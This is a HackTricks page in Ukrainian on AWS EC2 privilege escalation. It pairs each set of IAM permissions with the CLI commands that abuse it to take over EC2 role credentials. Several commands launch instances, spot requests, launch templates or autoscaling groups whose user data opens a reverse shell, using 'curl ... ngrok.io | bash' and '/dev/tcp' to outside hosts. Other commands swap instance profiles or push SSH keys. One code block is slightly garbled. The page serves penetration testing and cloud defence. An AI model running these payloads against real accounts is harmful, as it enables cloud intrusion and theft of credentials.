AWS - EC2 Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

EC2

Для отримання інформації про EC2 перегляньте:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Атакувальник може створити екземпляр, прикріпити до нього роль IAM, а потім отримати доступ до екземпляра, щоб вкрасти облікові дані ролі IAM з кінцевої точки метаданих.

  • Доступ через SSH

Запустіть новий екземпляр, використовуючи створений ключ ssh (--key-name), а потім підключіться до нього через ssh (якщо ви хочете створити новий, можливо, вам знадобиться дозвіл ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Доступ через обернену оболонку в даних користувача

Ви можете запустити новий екземпляр, використовуючи дані користувача (--user-data), які надішлють вам обернену оболонку. Цим способом вам не потрібно вказувати групу безпеки.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Будьте обережні з GuradDuty, якщо ви використовуєте облікові дані ролі IAM поза екземпляром:

pageAWS - GuardDuty Enum

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі EC2, приєднаної до існуючих профілів екземплярів.

Підвищення привілеїв до ECS

З цим набором дозволів ви також можете створити екземпляр EC2 та зареєструвати його всередині кластера ECS. Таким чином, служби ECS будуть виконуватися всередині екземпляра EC2, до якого у вас є доступ, і потім ви зможете проникнути в ці служби (контейнери Docker) та вкрасти їх приєднані ролі ECS.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Щоб дізнатися, як змусити служби ECS працювати на цьому новому екземплярі EC2, перевірте:

pageAWS - ECS Privesc

Якщо ви не можете створити новий екземпляр, але маєте дозвіл ecs:RegisterContainerInstance, ви, можливо, зможете зареєструвати екземпляр усередині кластера та виконати коментований атаку.

Потенційний вплив: Прямий підйом привілеїв до ролей ECS, прикріплених до завдань.

iam:PassRole, iam:AddRoleToInstanceProfile

Аналогічно попередньому сценарію, зловмисник з цими дозволами може змінити роль IAM компрометованого екземпляра, щоб він міг вкрасти нові облікові дані. Оскільки профіль екземпляра може мати лише 1 роль, якщо профіль екземпляра вже має роль (загальний випадок), вам також знадобиться iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Якщо профіль екземпляра має роль, атакуючий не може видалити його, є ще один обхідний шлях. Він може знайти профіль екземпляра без ролі або створити новий (iam:CreateInstanceProfile), додати роль до цього профілю екземпляра (як вже обговорювалося раніше), і призначити профіль екземпляра компрометованому екземпляру:

  • Якщо у екземпляра немає жодного профілю екземпляра (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Потенційний вплив: Прямий підвищення привілеїв до іншої ролі EC2 (потрібно скомпрометувати екземпляр AWS EC2 і мати додаткові дозволи або конкретний статус профілю екземпляра).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

З цими дозволами можливо змінити профіль екземпляра, пов'язаний з екземпляром, тому якщо атака вже мала доступ до екземпляра, він зможе вкрасти облікові дані для більшої кількості ролей профілю екземпляра, змінивши той, що пов'язаний з ним.

  • Якщо есть профіль екземпляра, ви можете видалити профіль екземпляра (ec2:DisassociateIamInstanceProfile) та призначити його *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • або замініть профіль екземпляра компрометованого екземпляра (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```
Замініть асоціацію профілю IAM екземпляра за допомогою команди aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<значення> --association-id <значення>
```
```

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2 (потрібно скомпрометувати екземпляр AWS EC2 і мати додаткові дозволи або конкретний статус профілю екземпляра).

ec2:RequestSpotInstances,iam:PassRole

Зловмисник з дозволами ec2:RequestSpotInstances та iam:PassRole може запитати екземпляр Spot з прикріпленою роллю EC2 та rev shell в даних користувача. Після запуску екземпляра він може викрасти роль IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Зловмисник з можливістю ec2:ModifyInstanceAttribute може змінювати атрибути екземплярів. Серед них він може змінювати дані користувача, що означає, що він може зробити екземпляр виконувати довільні дані. Це може бути використано для отримання оберненого шелу на екземплярі EC2.

Зверніть увагу, що атрибути можна змінювати лише під час зупинки екземпляра, тому потрібні дозволи ec2:StopInstances та ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі IAM EC2, приєднаної до створеного екземпляру.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Зловмисник з дозволами ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate та ec2:ModifyLaunchTemplate може створити нову версію шаблону запуску з оборотним shell в даних користувача та будь-якою роллю IAM EC2 на ньому, змінити версію за замовчуванням, та будь-яку групу автомасштабування, яка використовує цей шаблон запуску, налаштований на використання останньої або версії за замовчуванням, буде перезапускати екземпляри за допомогою цього шаблону та виконувати оборотний shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Потенційний вплив: Прямий підвищення привілеїв до іншої ролі EC2.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Атакувальник з дозволами autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole може створити конфігурацію запуску з IAM-роллю та rev shell всередині даних користувача, потім створити групу автомасштабування з цієї конфігурації та зачекати, поки rev shell вкраде IAM-роль.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Потенційний вплив: Прямий підйом привілеїв до іншої ролі EC2.

!autoscaling

Набір дозволів ec2:CreateLaunchTemplate та autoscaling:CreateAutoScalingGroup недостатні для підвищення привілеїв до ролі IAM, оскільки для прикріплення ролі, вказаної в конфігурації запуску або в шаблоні запуску, потрібні дозволи iam:PassRole та ec2:RunInstances (це відомий підйом привілеїв).

ec2-instance-connect:SendSSHPublicKey

Атакуючий з дозволом ec2-instance-connect:SendSSHPublicKey може додати ключ ssh користувачу та використовувати його для доступу (якщо він має доступ ssh до екземпляра) або для підвищення привілеїв.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Потенційний вплив: Пряме підвищення привілеїв до ролей IAM EC2, приєднаних до запущених екземплярів.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Зловмисник з дозволом ec2-instance-connect:SendSerialConsoleSSHPublicKey може додати ssh-ключ до послідовного з'єднання. Якщо послідовний порт не активований, зловмисник потребує дозволу ec2:EnableSerialConsoleAccess для його активації.

Для підключення до послідовного порту вам також потрібно знати ім'я користувача та пароль користувача всередині машини.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Цей спосіб не є дуже корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль, щоб експлуатувати його.

Потенційний вплив: (Дуже недоведений) Пряме підвищення привілеїв до ролей IAM EC2, прикріплених до запущених екземплярів.

References

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated